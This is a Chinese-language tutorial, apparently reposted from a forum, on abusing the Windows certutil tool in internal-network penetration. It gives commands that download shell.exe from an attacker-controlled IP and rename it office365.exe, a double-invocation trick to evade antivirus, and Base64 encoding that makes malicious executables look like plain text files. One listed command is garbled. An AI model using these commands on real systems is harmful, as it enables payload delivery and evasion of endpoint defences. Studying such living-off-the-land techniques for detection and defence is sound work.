一、Certutil 介绍
Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。
CertUtil的一个特性是能够从远程URL下载证书或任何其他文件,因为certutil是windows自带的exe。
使用语法 :
"certutil.exe -urlcache -split -f [URL] output.file"
-f
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。
-split
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。
-URLCache
显示或删除URL缓存条目。
无值的命令行选项。
但是此合法Windows服务现已被广泛滥用于恶意用途。
渗透中主要利用其 下载、编码、解码、替代数据流 等功能。
这里我首先在命令行用certutil -?查看一下certutil所有的参数,接下来就总结一下最常用的几个关于certutil在内网渗透中的应用。
点击查看代码二、常用功能介绍
2.1 下载远程文件
在 cmd 中将文件从网址上下载下来,保存为123.txt
C:\Users\12345\Desktop>certutil.exe -urlcache -split -f "https://hackers.home/content.txt" 123.txt
如果超时没有操作的话就会显示拒绝访问
这里有两种方法对杀软进行certutil下载绕过,本质都是执行两次certutil
第一种方法是先执行一个单独的certutil,然后再执行下载exe的命令,可以看到这里已经能够成功下载
certutil & certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe certutil | certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe
2.2 将本地程序搭建为http服务器
将本地可执行程序,搭建为一个http服务器,端口为8000,并执行该服务
http://192.168.206.130:8000
- C:\Users\12345\Desktop>123.exe -python -m http.server 8000
- C:\Users\12345\Desktop>python -m http.server 8000
- certutil -urlcache -split -f http://192.168.206.130:8000/123.exe
复制代码 2.3 使用CertUtil + Base64来绕过安全软件
Certutil 包含一个编码参数(编码),这有助于在 Base64 中编码文件的内容。可以使用 certutil 对可执行文件进行编码,然后传输编码后的数据,在接收机上对其进行解码。
常用与sql注入,对任意文件进行Base64编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。- 将123.exe编码为123.txt
- C:\Users\12345\Desktop>certutil.exe -encode 123.exe 123.txt
- 将123.txt解码为123.exe
- C:\Users\12345\Desktop>certutil.exe -decode 123.txt 123.exe
复制代码 更多详解参考--->
https://mrwq.github.io/aggregate-paper/butian/certutil详解/
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |